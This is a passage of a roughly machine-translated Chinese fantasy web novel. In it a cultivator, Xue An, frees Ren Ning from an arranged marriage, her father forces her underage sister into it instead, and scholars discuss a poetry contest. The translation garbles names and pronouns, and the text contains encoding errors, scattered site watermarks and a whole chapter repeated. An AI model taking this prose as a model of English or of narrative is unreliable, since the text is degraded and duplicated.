    Thinking about the tumbling inside of the evil thing again, a faint smile appeared on the corner of Xue An''s mouth.


    "Let''s go, the street is also shopping, let''s go back!"


    "Um!"


    And that was when Xue An led Ren Ning to rush back.


    This Ren Xingzheng anxiously paced back and forth in the parking lot.


    suddenly!


    Along with a roar, a huge carriage slowly stopped in the parking lot.


    As soon as he saw the carriage, Ren Xing couldn''t help but rushed up.


    The door of the carriage opened slowly, and then a spirited old man walked down from it.


    Ren Xing immediately gave a gift, "Father!"


    said it was an old man. In fact, he was only over forty years old from the outside. When he saw Ren Xing, a faint smile appeared on his face.


    "Good daughter, are you here to greet your father?"


    Ren Xing nodded again and again, "Yes, father, I have been waiting in this parking lot since I learned that you are coming back. I have paid my attention to it, and I finally saw you!"


    This Ren Xing''s father, the director of the Ren family, couldn''t help laughing.


    "Good! Good! Sure enough, you still have the intention, what about your unbelievable sister?"


    After mentioning Ren Ning, the different tone of the director of the Ren Jiajia was cold by three points.


    Ren Xing had been waiting for these words a long time ago. When she heard her father''s questioning, she couldn''t help but feel happy, but her face didn''t show up at all. Instead, she pretended to look like a distressed head.


    "Father, you don��t know that during the time you were leaving, my sister was so prestigious that no one dared to provoke her. After finally letting her go out to do things, she didn��t expect that she would bring it back soon. Man, I dare not say anything, I can only wait for my father to make a decision after you come back!"


    "What did you say?" Ren Different almost thought he had heard it wrong.


    You have to know that Ren Ning has always been honest, and it can even be said to be too honest.


    This is also the reason why Ren Different can make his own choice and betroth him as the son of the general.


    Ren Ning went out this time mainly because of the relationship between Ren Ning and the son of the general.


    But he never expected that when he was trying to make this marriage together, the eldest daughter who had always been honest and friendly would bring back a man.


    How can this not make Ren different a question mark.


    Especially when thinking about the consequences of this matter if it was known to the general, this different complexion became ashamed.


    He gritted his teeth and said, "Where is your sister now?"


    "I don''t know, when I went to her courtyard just now, I seemed to hear the man say that he would take his sister to the nearby city to go shopping!"


    boom!


    There was a muffled sound, and the ground under different feet instantly cracked open, and then he walked out aggressively.


    Ren Xing was secretly happy.


    Hmph!


    Look at how arrogant you are now!


    actually dared to slap himself in the face, now you will be pretty!


    There is also my sister. After this incident, it is estimated that your image in the mind of your father will be even more unbearable. What will you use to fight me at that time?


    Of course, these thoughts were just tumbling in Ren Xing''s mind. On the surface, he couldn''t see the slightest, and he even looked anxious and worried, as if the friendship between their sisters was so deep.


    Ren Different has been unable to bear it for a moment. When he walked to the courtyard, he wanted to fly up to find Ren Ning and Xue An.


    Coincidentally, at this moment, Xue An and Ren Ning had already returned to the Ren Family Manor, and then landed in the courtyard where Ren Ning lived.


    This scene is different in my eyes, and my heart is even more angry, and he immediately turned around and rushed towards Ren Ning.


    At the same time, Ren Ning looked at the spotlessly renewed courtyard, her mouth opened slightly and her face was dull.


    She doesn''t know how long it has been since this small courtyard has been so clean.


    Especially after these women grasped Ren Ning''s temper, they were even more lazy for a day, and in the end even Ren Ning''s personal maid began to do things. UU reading www. uukanshu.com


    But until today, under the slap of Xue An, these women who are accustomed to the wind and rudder finally learned what awe is.


    Just as Ren Ning was stunned, there was a rush of footsteps outside the courtyard, and then Ren Different led a group of people to the courtyard.


    After seeing Xue An. This Ren was shocked, and his face immediately became angry.


    At this time, Ren Ning also saw her father''s arrival. Although she was frightened, she hurried forward.


    "Father, you are here..."


    Before she finished speaking, she heard a crisp pop, and Ren Ning was slammed back a few steps.


    Then this Ren Yi raised his hand and pointed at Xue An, and said in a gloomy tone.


    "Who is this kid? Say! What is your relationship?"


    Ren Ning covered her face, a little dazed when she was beaten.


    But when I saw her look like this, I was even more out of breath, raising my hand and going to slap again.


    But at this moment, a figure appeared in front of Ren Ning, blocking her behind.


    "First of all, I don''t call this kid!"


    "Secondly, there is no need for you to ask so aggressively about any relationship between us!" Xue An said lightly.


    (End of this chapter)

 Chapter 2703： Control your own destiny

    Chapter 2703 I''m In Charge Of Destiny


    "What?" Ren Different thought he had heard it wrong.


    A seventh-grade Wu Yi Lang in a mere district dared to speak to himself in this tone, this is not what it means to die!


    Therefore, his complexion instantly became extremely gloomy, and his eyes were full of murderous intent.


    "Can you say that again?"


    Xue An smiled freely, "It''s the same if I repeat it a few times!"


    As he said, Xue An raised his hand and pointed at Ren Ning, who curled his neck and bowed his head like a quail behind him.


    "This daughter who is about to be sacrificed by you in exchange for benefits, now I am covering it!"


    Let him laugh in anger, "Okay, okay, okay!"


    He said it several times, and then shouted in an extremely cold tone.


    "Ren Ning, I''ll give you one last chance now, come here obediently, I can still treat this thing as never happened, otherwise you will look good!"


    Ren Ning, who was hiding behind Xue An, trembled all over, with a panic on her face, and then walked out from behind Xue An trembling.


    Every step she took was so difficult, as if her legs were full of lead.


    Seeing this scene, I didn''t snorted coldly, as if I had expected it a long time ago.


    There is even more triumph in Ren Xing''s eyes.


    Now I see what you do!


    I really thought it would be like taking a man back?


    Under the pressure of your father, don��t you have to be obedient?


    Of course, Ren Xing hides these thoughts so well, at least not at all on the surface.


    Just as Ren Ning moved slowly towards the other side, Xue An suddenly said in a calm tone.


    "I always believe that people should be independent, and the child is not an extension of the parent''s will, but an autonomous individual!"


    "He gave you life, but he didn''t get your consent in advance, so you don''t have to feel owed for it, so no one can force you to do things that go against your inner conscience!"


    "If there is any, then you should also rise up to resist, because family affection is no longer comfort at this time, but a kind of shackles!"


    As soon as these words came out, Ren Ning shook all over, and then suddenly raised her head to look at Xue An, just in time to meet Xue An''s pitying gaze.


    Ren Ning''s cheeks under the veil quickly flew blush, only to feel that she was a little dizzy by the gaze.


    "Do you understand what I said?" Xue An said lightly.


    She took a deep breath and nodded, "I understand!"


    Rendi yelled irritably after seeing: "Ren Ning, can''t you come yet?"


    As usual, once she heard her father speak in this tone, Ren Ning would tremble all over.


    But this time, perhaps because of that gaze, Ren Ning was actually very calm.


    "I won''t go there!"


    "What did you say?"


    "I said I won''t go there, because I did nothing wrong, I don''t want to marry the son of the general''s family!" Ren Ning whispered.


    Ren was extremely shocked by the difference.


    He never thought that Ren Ning, who has always been submissive, would dare to resist herself in front of so many people.


    Not only him, even Ren Xing couldn''t help but stare blankly.


    The audience was extremely quiet.


    At this moment, there was a round of applause, and Xue An said with approval.


    "That''s right, that''s the attitude!"


    Hearing his praise, Ren Ning''s face flushed again.


    In fact, she didn''t even know how to say that sentence just now. A few simple words seemed to exhaust all the courage in her life.


    At the same time, Ren Different broke out completely.


    "Well, what a filial daughter who dares to defy her father''s orders in public!"


    said, Ren Different raised his hand and pointed at Xue An, and said in a murderous tone.


    "Do you think that if you have this person to rely on, you will be lawless? But have you ever thought about it, a mere 7-rank Wu Yi Lang, in my eyes it is nothing at all!"


    "Come here!"


    "exist!"


    "Stop this wild boy who didn''t know where he jumped out immediately!" Ren Different said in a cold voice.


    "Yes!"


    A tall and strong man walked out of the crowd behind him.


    This person held a sledgehammer and smiled at Xue An.


    "Little white face, dare to run to Ren''s house to run wild, I will kill you today!"


    Hu!


    In words, he hit it with a hammer.


    The giant hammer hit Xue An''s face with the sound of wind and thunder.


    But Xue An didn''t even blink his eyelids, just spit out a word gently.


    "roll!"


    ��!


    Although this word is not loud, it is no less than a thunderbolt in the ears of this brawny man, and it shocked his mind instantly.


    Not only that, but wherever the sound wave passed, the great hammer made of fine gold in his hand was also shattered.


    "Ahhhhh!"


    The strong man screamed when he saw the only hammer left in his hand, and then fled straight away as if he had seen something extremely terrifying.


    was just a face-to-face meeting, and this sturdy man who seemed to be tall and majestic was defeated.


    His different eyelids throbbed, and he didn''t expect that this young man of Grade 7 strength would be so evil, and he defeated one of his guards without seeing him.


    But without waiting for him to speak this time, there was another burst of shout from the crowd behind him.


    "Good boy, dare to bully my brother and take his life!"


    Hu!


    A meteor hammer slammed into Xue An like lightning, but when it reached Xue An, it instantly stagnated, and then the pieces fell apart.


    Not only that, but the chain of the meteor hammer also quickly shattered, spreading to the person who did it in the blink of an eye.


    This person didn''t expect that the big talk he had just said would come back so quickly. When he let go of his fright, the chain fell to the ground with a scream, and then it was broken into iron filings.


    This time, the audience was shocked.


    Even a person who has no vision can tell at this moment that this teenager is by no means an easy one.


    Ren''s different complexions became more ugly, but there was also a look of fear in the depths of his eyes.


    Xue An ignored him at all, but turned to Ren Ning and said.


    "Have you seen? Any existence that seems invincible is actually just like these rubbish, vulnerable!"


    This sentence makes many people''s faces fever.


    Ren Ning just nodded blankly.


    She didn''t see everything that just happened, because all her attention was focused on Ren Different.


    Jiwei has left a deep shadow in her heart for so many years, and it is not possible to correct it in a short while.


    and the resistance just now made her heart-stirring, so she has been secretly observing any different reactions.


    Xue An also seemed to be aware of her thoughts, smiled faintly, and then walked forward Shi Shiran.


    Ren different subconsciously took a step back, but Xue An''s footsteps seemed to be slow but urgent, and after a breeze, he came to Ren different.


    "What did you say just now? My strength is nothing in front of you? You also said that you want me to be killed on the spot?" Xue An raised his eyebrows slightly, and said with a smile.


    (end of this chapter)

 Chapter 2704： Family affection is just a bargaining chip on the balance of interests...

    Chapter 2704 family love is just a bargaining chip on the balance of interests


    Ren''s different body is not considered tall, so when Xue An came around, he almost looked up at Xue An.


    The more important thing is that Xue An has an invisible deterrent on him, and he can''t breathe easily anymore.


    This kind of coercion is almost comparable to the generals I have seen!


    Ren thought it in secret, but in front of so many people, as the head of the family, he naturally couldn''t be too weak, so he sneered slightly.


    "Yes, that''s what I said, and I still hold this idea to this day! Young people, don''t think that if you have a bit of strength, you can stand up to the crowd. Seventh-rank Wuyilang is a seventh-rank, no matter how powerful it is, it is impossible to surpass yourself. Grade!"


    Xue An nodded, "Well said, but what do you think of it now?"


    Following the voice, Xue An''s eyes narrowed slightly, and a vast expanse of breath suddenly rushed out from the top of his head, shook the heavens, and the wind and clouds that had stirred thousands of miles changed its color.


    "This is..." Someone opened his mouth wide and looked at the scene before him in disbelief


    At the same time, I saw Xue An''s body radiantly floating, and quickly condensed and restrained, and in a flash, he entered the sixth-grade Xiaoqiang Lieutenant from the seventh-grade Wuyilang realm.


    The boss with everyone''s mouth open.


    Especially those who are practicing, they almost stared out.


    As practitioners, they know better than anyone how difficult it is to advance in strength.


    It can be said that every climb up to a small level will consume countless energy, and many people have exhausted their life energy and are unable to take a key step, so they are stuck in a certain stage.


    Even those strong sects, even the destiny in the inheritance of evil things, if you want to advance to a realm, you need a long preparation, and it can be completed under the blessing of many elders of the division.


    But Xue An��s promotion just now seemed as easy and natural as eating and drinking.


    Who has seen this before.


    "Now?" Xue An asked indifferently.


    I moved my mouth differently, but couldn''t even say a word of what I wanted to say.


    Ruo said that before he faced Xue Anshi, who was in the realm of Seven-Rank Wuyi Lang, he still had a bit of clamoring capital.


    After Xue An was promoted to the sixth rank Xiaoxiao Lieutenant, he didn''t even have this capital.


    Because no matter where it is, the sixth-rank Xiao Lieutenant is already an existence that cannot be ignored.


    The big Ren family is a master with only a few valet lieutenants.


    Xue An gave a sneer when he saw this, then suddenly turned around and said lightly: "Let''s go! Anyway, there is nothing worthy of your nostalgia in this home!"


    After that, Xue An took a step and walked out.


    Ren Ning glanced at Ren Different and others, who had a cloudy face, then glanced at Xue An''s back, and then quickly followed after gritted her teeth.


    Hearing the footsteps behind him, Xue An smiled and asked without looking back, "Is there a feeling of relief now?"


    Ren Ning thought about it carefully, then nodded seriously, "Well, it feels a bit refreshing anyway!"


    Xue An laughed, "That''s right!"


    Amidst the laughter, a gust of wind blew by, engulfing the two of them and flying into the Nine Heavens, where they disappeared.


    The muscles of different faces are trembling, and the eyes are so cold that people can freeze to death.


    The people around were all silent, and they didn''t even dare to breathe.


    Only Ren Xing, who has always been willful and reckless, stepped forward with righteous indignation and said: "Father, don''t be too angry. I have long seen that my sister is not a good person. Don''t look at her usual performance. In fact, I have an idea in my heart!"


    Rendi turned his head and glanced at her, "Since you have seen it a long time ago, why didn''t you say it before?"


    Ren Xing was frightened by the cold expression on his father��s face, and she trembled: "I...I...I just said that. Don''t be angry, father. If she ran away, she just ran away. This person is gone."


    "I think there is no such person..." Ren Different sneered.


    "Do you know how much effort I put in to get into the relationship with the general? It was hard to tell the marriage, but at this moment, this **** actually ran away. How did you tell me to explain to the general? ?"


    Ren Xing''s aggrieved tears flowed in his eyes with a different stern voice.


    "Then...then send someone to chase it now!"


    "Of course I want to chase. Does this Ren Ning really think I can get rid of everything if I find a man? She forgot that Ren''s blood is flowing on her body, so she can''t escape, but even if she comes back, General I can''t explain it over there!"


    "After all, it will not take long for this matter to spread. Even if this **** is brought back by then, the son of the general will not be able to kill the willow again, so there is only one way for the current plan."


    Speaking of this, Ren Dong looked at Ren Xing with blood-red eyes.


    Ren Xing''s heart stunned, and his face instantly became extremely pale.


    "Father, I...I''m not an adult yet, you can...you can..."


    "Even if you are not an adult, it will be within a few days, not to mention that the son of the general should be better."


    Ren Xing''s voice changed with fright, "But father, I...I don''t want to marry now."


    Snapped!


    There was a crisp sound.


    Ren Xing held her red and swollen face and looked at her father in disbelief.


    This is the first time I have been beaten by my father when I grow up.


    At this time, there is no such thing as the usual kindness.


    "Don''t want to marry? Do you really think that I support you so that you can enjoy the prosperity and wealth? You are wrong, you are all my bargaining chips, and I will complete your tasks when I need it!"


    "Because of your stupid sister, I didn''t think about you before, but now she is no longer useful, then you have to replace her, understand? My dear daughter?"


    Any different faces are distorted by anger and desire. UU reading


    Ren Xing felt that a heart was falling rapidly.


    All the happy memories of the past and the beautiful longing for the future are all shattered at this moment.


    Unlimited regret and jealousy suddenly rose in her heart.


    regretted that she shouldn''t be against her sister and took her away, jealous that she had found a man whom she could rely on, and took her out of the sea of ??suffering.


    At this moment, I saw Ren Different pointing at several women in the distance.


    "Come here, drag this guy down and take care of her strictly. No one is allowed to approach her without my order!"


    "Yes!"


    These women did not dare to have the slightest objection, and immediately stepped forward and dragged away the devastated Ren Xing.


    let him clap his hands, his eyes were uncertain, and then he whispered again.


    "Send someone to investigate right away and see what the kid is coming from just now!"


    "Yes!"


    "Also, if there is no background..."


    "How about it?"


    "Just leak his whereabouts, and someone will clean him up by then!"


    "clear!"


    (end of this chapter)

 Chapter 2704： Family affection is just a bargaining chip on the balance of interests

    Chapter 2704 family love is just a bargaining chip on the balance of interests


    Ren''s different figure is not considered tall, so when Xue An came near, he almost looked up at Xue An.


    The more important thing is that Xue An has an invisible deterrent on him, and it is a bit difficult to breathe differently.


    This kind of coercion is almost comparable to the generals I have seen!


    Ren thought it in secret, but in front of so many people, as the head of the family, he naturally couldn''t be too weak, so he sneered slightly.


    "Yes, that''s what I said, and I still hold this idea to this day! Young people, don''t think that if you have a little strength, you can look down upon the crowd. Seventh-rank Wuyilang is a seventh-rank, no matter how powerful it is, it is impossible to surpass yourself. Grade!"


    Xue An nodded, "Well said, but what do you think of it now?"


    Following the voice, Xue An''s eyes narrowed slightly, and a vast expanse of breath suddenly rushed out from the top of his head, shook the heavens, and the wind and clouds that had stirred thousands of miles changed its color.


    "This is..." Someone opened his mouth wide and looked at the scene before him in disbelief


    At the same time, I saw Xue An''s body radiantly floating, and quickly condensed introverted, and in a flash, he entered the sixth-rank Xiaoqiang Lieutenant from the seventh-rank Wuyilang realm.


    The boss with everyone''s mouth open.


    Especially those who are practicing, they almost stared out.


    As practitioners, they know better than anyone how difficult it is to advance in strength.


    It can be said that every climb up to a small level will consume countless energy, and many people have exhausted their entire life and cannot take a critical step, thus getting stuck in a certain stage.


    Even those strong sects, even the destiny in the inheritance of evil things, if you want to advance to a realm, you need a long preparation, and it can be completed under the blessing of many elders of the division.


    But Xue An��s promotion just now seemed as easy and natural as eating and drinking.


    Who has seen this before.


    "Now?" Xue An asked indifferently.


    I moved my mouth differently, but couldn''t even say a word of what I wanted to say.


    Ruo said that before he faced Xue Anshi, who was in the realm of Seven-Rank Wuyi Lang, he still had a bit of clamoring capital.


    After Xue An was promoted to the sixth rank Xiaoxiao Lieutenant, he didn''t even have this capital.


    Because no matter where it is, the sixth-rank Xiao Lieutenant is already an existence that cannot be ignored.


    The big Ren family is a master with only a few valet lieutenants.


    Xue An gave a sneer when he saw this, then suddenly turned around and said lightly: "Let''s go! Anyway, there is nothing worthy of your nostalgia in this home!"


    After that, Xue An took a step and walked out.


    Ren Ning glanced at Ren Different and others, who had a cloudy complexion, then glanced at Xue An''s back, and then quickly followed after gritted her teeth.


    Hearing the footsteps behind him, Xue An smiled and asked without looking back, "Is there a feeling of relief now?"


    Ren Ning thought about it carefully, then nodded seriously, "Well, it feels a bit refreshing anyway!"


    Xue An laughed, "That''s right!"


    Amidst the laughter, a gust of wind blew by, engulfing the two of them and flying into the Nine Heavens, where they disappeared.


    The muscles of different faces are trembling, and the eyes are so cold that people can freeze to death.


    The people around were all silent, and they didn''t even dare to breathe.


    Only Ren Xing, who has always been willful and reckless, stepped forward with righteous indignation and said: "Father, don''t be too angry. I have long seen that my sister is not a good person. Don''t look at her usual performance. In fact, I have an idea in my heart!"


    Rendi turned his head and glanced at her, "Since you have seen it a long time ago, why didn''t you say it before?"


    Ren Xing was frightened by the cold expression on his father��s face, and she trembled: "I...I...I just said that. Don��t be angry, father. She ran away. Just treat it as no one."


    "I think there is no such person..." Ren Different sneered.


    "Do you know how much effort I put in to get into the relationship with the general? It was hard to tell the marriage, but at this moment, this **** actually ran away. How did you tell me to explain to the general? ?"


    Ren Xing''s aggrieved tears flowed in his eyes with a different stern voice.


    "Then...then send someone to chase it now!"


    "Of course I want to chase. Does this Ren Ning really think I can get rid of everything if I find a man? She forgot that Ren''s blood is flowing on her body, so she can''t escape, but even if you chase back, General I can''t explain it over there!"


    "After all, it will not take long for this matter to spread. Even if this **** is brought back by then, the son of the general will not be able to kill the willow again, so there is only one way for the current plan."


    Speaking of this, Ren Dong looked at Ren Xing with blood-red eyes.


    Ren Xing''s heart clicked, her face turned pale in a moment.


    "Father, I... I''m not an adult yet, you can... you can..."


    "Even if you are not an adult, you can''t miss it for a few days, not to mention the son of the general should be better."


    Ren Xing was so scared that her voice changed, "But father, I...I don''t want to marry now."


    Snapped!


    There was a crisp sound.


    Ren Xing held her red and swollen face and looked at her father in disbelief.


    This is the first time I have been beaten by my father when I grow up.


    At this time, there is no such thing as the usual kindness.


    "Don''t want to marry? Do you really think that I support you so that you can enjoy the prosperity and wealth? You are wrong, you are all my bargaining chips, and I will complete your task when I need it!"


    "Because of your stupid sister, I didn''t think about you before, but now she is no longer useful, then you have to replace her, understand? My dear daughter?"


    Ren''s different faces are distorted by anger and desireRen Xing feels that a heart is falling rapidly.


    All the happy memories of the past and the beautiful longing for the future are all shattered at this moment.


    Unlimited regret and jealousy suddenly rose in her heart.


    regretted that she shouldn''t be against her sister and took her away, jealous that she had found a man whom she could rely on, and took her out of the sea of ??suffering.


    At this moment, I saw Ren Different pointing at several women in the distance.


    "Come here, drag this guy down and take care of her strictly. No one is allowed to approach her without my order!"


    "Yes!"


    These women did not dare to have the slightest objection, and immediately stepped forward and dragged away the devastated Ren Xing.


    let him clap his hands, his eyes were uncertain, and then he whispered again.


    "Send someone to investigate right away and see what the kid is coming from just now!"


    "Yes!"


    "Also, if there is no background..."


    "How about it?"


    "Just leak his whereabouts, and someone will clean him up by then!"


    "clear!"


    (End of this chapter)

 Chapter 2705： Poetry society

    Chapter 2705 Poetry, Society and Literature Association


    As Ren Different expected, there is no way to hide this incident.


    Before the evening, the news that the eldest lady of the Ren family Ren Ning followed a man to run away from home has spread all over the Ling''an territory with a radius of hundreds of thousands of miles.


    After hearing this news, all parties reacted differently.


    There are some gloating, cynicism, and sigh.


    But more people still set their sights on this Ling''an General''s Mansion.


    Because everyone knows that under Ren different''s efforts before, the General Mansion has already agreed to the marriage with the Ren family.


    The daughter of the Ren family, Ren Ning, is about to marry the eldest son of the general.


    There are many forces that are paying close attention to this marriage.


    Because once it succeeds, it means that the Ren family will cling to the big tree of the General''s Mansion, and they will also be upgraded from the third-rate giants to the next level.


    But such a thing happened at this juncture, isn''t this an obvious slap in the face of the general!


    Therefore, many people sneered in their hearts and watched the development of the situation, to see how the general would respond to it.


    What is surprising is that the Ling''an General Mansion, which has always been vigorous and resolute, was surprisingly silent this time, and did not show any opinions on this matter.


    This can''t help but disappoint many people who are expecting the Ren family to follow the unlucky in the dark.


    what happened?


    Why is this general mansion uncharacteristically this time and has become a lot more restrained?


    Just as many people were secretly wondering, another news from Ren''s family gave the answer.


    The Ren family decided to expel Ren Ning and cancel all her inheritance qualifications. At the same time, the second lady, Ren Xing, will replace her sister to marry the General''s Mansion.


    Hearing this news, all parties couldn''t help but be in an uproar.


    No, in a small college, a group of scholars are discussing this matter intensively.


    "What? I actually offered my second daughter to me? But I remember that the second lady of the Ren family is still under adulthood!" A green shirt scholar said with a look of astonishment.


    "Do you think anyone like this would care about this? For him, the most important thing now is how to extinguish the anger on the General''s Mansion. At this time, let alone sacrifice his second daughter. You ask him to He didn''t dare say anything when his wife sent it out!" A black-faced scholar next to him sneered.


    "That''s why I said that Ren is a ruthless person. He did not hesitate to sacrifice the happiness of his two daughters to conclude a marriage contract with the General''s Mansion!" Another scholar sighed with a fan.


    "For this kind of people, family affection itself is a bargaining chip that can be used, it''s not surprising at all!" Blackfaced Shusheng said.


    "It''s just a pity that these two beautiful women are like flowers! One was forced to leave the rich and the other is about to jump into the fire pit." Qingshan scholar said with a grimace.


    Upon hearing this, everyone in the room was silent.


    Obviously, for those who live in this territory, everyone knows how powerful the general is, and at the same time knows how nonsense the prince of the general''s mansion is.


    At this moment, a hearty laughter came from outside the room.


    "As soon as I entered the courtyard, I heard Lao Yao''s words of pity and cherishment. It seems that the title of "Fang Liucheng Talented Scholar" really deserves its name!"


    Hearing this voice, the scholars in the room stood up one after another, with excitement on their faces.


    "Brother Zhuo!"


    "Brother Zhuo is back!"


    At the same time, seeing the door open, a young man wearing a moon white shirt walked into the house with his head swaggered.


    The appearance of this boy brightened the whole room.


    Especially that kind of natural and chic attitude has made many people feel kind.


    "Brother Zhuo, are you finally out!" The black-faced scholar said with great joy.


    "Yes, Brother Zhuo, I went to your house yesterday, but Lingtang said that you have been studying in a closed study in the study for the past few months, and no one is there! This kind of pious and learning attitude really makes me ashamed! "The scholar in Qingshan sighed.


    The young man laughed, "It''s just that I felt it when I was studying, so I just retreat for a few months to experience it and understand it, and everyone is concerned about it!"


    These scholars are all students of Fangwaicheng government-run college.


    Fang Waicheng is a city within hundreds of thousands of kilometers under the rule of the General��s Mansion.


    Speaking of this, I need to briefly introduce what these colleges are all about.


    Just as Xue An said in the theater before screaming the origin of the actor, this world is a special existence of duality.


    The so-called duality refers to the coexistence of evil things and human races in this world.


    The human world is actually no different from the heavens and the heavens, and there are also various methods of practice, except for the division of realms which is completely different from that of the heavens, everything else is basically the same.


    The evil world is different.


    According to the clues of this world, these evil things first appeared in front of everyone in the form of gods, and in this way ruled the world for countless years.


    For some reason, this kind of rule fell apart, and it was accompanied by the mutual assault between these evil things.


    But even so, these evil things still have a strong influence on the world. Although they usually sink under the water, no one dares to ignore their existence.


    As for the origin of these academies, it is actually closely related to the collapse of the rule of these evil things.


    At least they appeared almost the same time, and soon became popular, becoming a huge force that cannot be ignored in this world.


    Today, the academy and the influence of these scholars have reached a peak, even the high-grade and strong must maintain sufficient respect for them.


    Under this situation, many forces of UU Reading have begun to open their own official academies, hoping to expand their influence in this way.


    This Fangwai Academy is one of those numerous academies.


    This boy is the outstanding one among the younger generation of Fangwaicheng, whose name is Zhuo Benzheng.


    has a family background and is intelligent, so he has become a leader among the students of Fangwai Academy.


    At this moment, after a lot of greetings, this Zhuo Ben looked positively.


    "Everyone, do you know the main reason for my exit this time?"


    Everyone was silent for a while, only the fan-shaking scholar whispered: "But is it for poetry, society, and literary society?"


    "Brother Fan really knows me. That''s right, I left this time for the poetry society!"


    Poetry Society and Literature Association!


    Hearing these four words, all the scholars present looked leisurely and fascinated.


    Because this essay will be a splendid and grand stage for every scholar.


    If you have the opportunity to enter it and write a popular poem, you will immediately become famous.


    All this is because this poetry, society and literary society is a grand event that the major forces, even the whole world, are paying attention to.


    (End of this chapter)

 Chapter 2706： Qisi Poetry Club

    Chapter 2706 Qisi Poetry Society


    Its initiator is the Qisi Poetry Club, which plays an important role in the whole world.


    You have to know that because of the large number of academies, poetry and songs in this world are popular, and even all kinds of novels are popular in the world. This is evident from the excitement of the theater that Xue An saw before.


    Because this kind of entertainment and pastime will be so prosperous only in a time when the culture is flourishing.


    In this context, Qi Si Poetry Club has become one of the highest palaces in the minds of scholars without mathematics.


    Although it is impossible to verify who founded the society because of the age too long, the rules have been passed down.


    Every year, branches in various places will hold various cultural gatherings from time to time, but these are all ordinary gatherings of literati, which do not attract much attention.


    Only when the three-year period is reached, the Qisi Poetry Club will hold the most grand literary event.


    This is the focus of attention of all scholars and scholars.


    This essay was first organized by local branches. If you are shortlisted and write good poems, not only will you be eligible to be promoted to the literary meeting held by the head office, but you can also print your poems on the papers of Qisi Poetry Club. superior.


    Only then will it be regarded as a real one-shot fame and the world knows it.


    This temptation is fatal to any student or scholar.


    But soon, the scholar in Qingshan couldn''t help but sighed lightly: "Fine, just based on your and my literary talents or don''t expect to be able to stand out in this literary meeting, or pin all your hopes on Brother Zhuo. Come on!"


    Everyone nodded.


    "Yes, in terms of your knowledge and talents, you can barely get the eye in this small Fangwai city, but I heard that this branch literary meeting, all the cities in the entire Ling''an territory will participate, it can be said It is the gathering of talents, so I don''t have to wait for it." The black-faced scholar couldn''t help saying.


    After all, everyone looked forward to Zhuo Benzheng.


    Takumoto smiled bitterly, "You don''t have to give me too much hope, I just got the qualification to enter the venue, and it''s still up to you whether you can get results after the literary meeting!"


    "Hey, Brother Zhuo doesn''t have to be so self-conceited. I think you have devoted yourself to studying for so many years. Isn''t it this opportunity to prove yourself? And I heard that this literary meeting is different!" Said the student holding a fan. .


    "Oh? What''s the difference?"


    Everyone was full of spirits when they heard it.


    All of this is because this fan-holding scholar is a son of the Wu family in the outer city of Fang, named Wu Zizhang.


    And there is an old man in Wu''s family who has been working in the general''s mansion, and the news is naturally better than the average person.


    "The general attaches great importance to this literary meeting and intends to make it the most grand gathering in decades, so she specially invited the girl Yun Ling Xuan Yun in the outer building!"


    "What? But the girl Yun who claims to be shocking the world with her talents and playing the piano?" the man in the green shirt exclaimed.


    "There are still a few Yun girls under the sky, so naturally it is her!"


    Hearing this, all the people present became disillusioned.


    There is no other reason.


    It is that the reputation of this girl Yun is so great that even if they live in a corner, their ears are already full.


    "It''s actually her... if that''s the case, then the general has really lost his blood this time, because who doesn''t know that this girl Yun is a well-known oiran in the world, one of the housekeepers in the building outside the building!" The black-faced scholar self-mumbling.


    Zhuo Benzheng''s face showed a contemplative look, "Why does the general value this literary meeting so much?"


    "Yes! You know, the generals in the past were not this temperament!"


    "The reason is very simple, that is, this literary meeting, the eldest son of the General''s Mansion will also participate! In order to build momentum for his son, he naturally has to work hard!"


    "What? That hakama anointed beam is also going to participate? Don''t be kidding, this guy is no one else in terms of Xunhuawen Liu''s ability, but if he writes poetry...Which green onion is he?" Hei Mian Shusheng sneered.


    But everyone''s complexion is a bit ugly.


    "You can''t say that. If the general arranged this way, he must have his plan. Otherwise, he will try his best and even invite Miss Yun to create a trend. In the end, won''t he make a wedding dress for others?"


    "You mean... stealing poems?" The black-faced scholar asked in surprise.


    "I didn''t say that, I just thought it was possible!"


    "No! To know the topic of the poetry society and literary society, no one knows it beforehand. Instead, the Wensheng tablet is asked to fortune it out face to face when it arrives at the scene. Also, the poetry society can come and investigate. If someone steals the poem, it will be noticed on the spot. !" The black-faced scholar shook his head repeatedly.


    "Hehe, do you think the general would not consider what you said?" The Qingshan scholar suddenly sneered.


    "This..." The black-faced scholar also felt that what he said was a little naive and ridiculous.


    Because everything has rules, there is a possibility of cheating.


    Although it is said that Qisi Poetry Society is a huge existence, and does not put a fourth-rank general in the eyes, this is after all just a branch literary meeting.


    The general is the host again, and it is possible to sell him face at that time.


    But if this is the case, it would be even more desperate.


    Just when everyone was silent, he saw this Zhuo Ben suddenly smile.


    "If this is the case, then I have to participate in this literary conference. Not only do I have to participate, but I must also get a good ranking and try to beat the eldest son of the general''s family!"


    At the end, a touch of determination flashed in this Zhuo Benzheng''s eyes.


    Seeing this scene, the scholars present were silent for a moment, and then burst out with unprecedented enthusiasm.


    "Okay! As expected, he is the leader of our foreign academy, and his courage to compete with the son of the general is a big success!" The Qingshan scholar said with joy.


    "I''m going to buy wine now, UU reading www.uuk��nshu.com today I must not be drunk or return!" The black-faced scholar said without hesitation.


    Even this Wu Zizhang, who is holding a folding fan, is full of admiration, "Brother Zhuo has such an integrity, so why worry about failing to study in the future!"


    "Hahaha! You guys have praised it, I just can''t understand the recklessness of this general mansion. In the past, he only targeted various forces and I couldn''t say anything. But this time he actually reached into the poetry society. , How can I stand by as a student?"


    Zhuo Ben was talking boldly.


    "Good!" The scholars stood up one after another, exclaiming in unison.


    It is the time when these scholars in Fangwaicheng discussed the upcoming poem society.


    A low-key and elegant carriage slowly drove into the territory of the Ling''an General Mansion.


    "Miss, we have entered the Ling''an Domain now!"


    "Um!"


    A slender hand gently lifted the curtain of the car, a little maid looked out the window, looked around very curiously, and then whispered softly.


    "Miss, do you want to inform the person from General Ling''an Mansion to pick it up?"


    "No, he said that he should arrive at the time of the literary meeting. There is still plenty of time now, so let''s do it slowly!"


    "Yes!"


    (End of this chapter)

 Chapter 2707： Regular veil to feast on

    Chapter 2707 the rule veil feasts


    Unlike many people''s expectations, Xue An did not lead Ren Ning''s surname and walked away.


    On the contrary, at this moment, he unexpectedly reappeared in this Ren''an city under the control of the Ren family.


    And walking on the street swaggeringly, there is no concealment in the action.


    In contrast, Ren Ning, who followed behind her, was shivering, and she lowered her head and tried her best to reduce her sense of existence.


    But she had forgotten that although she was wearing a veil, her Qiushui eyes and slim figure all revealed that she was a rare beauty.


    As for Xue An, who is walking in front, is even more star-studded, with outstanding bearing.


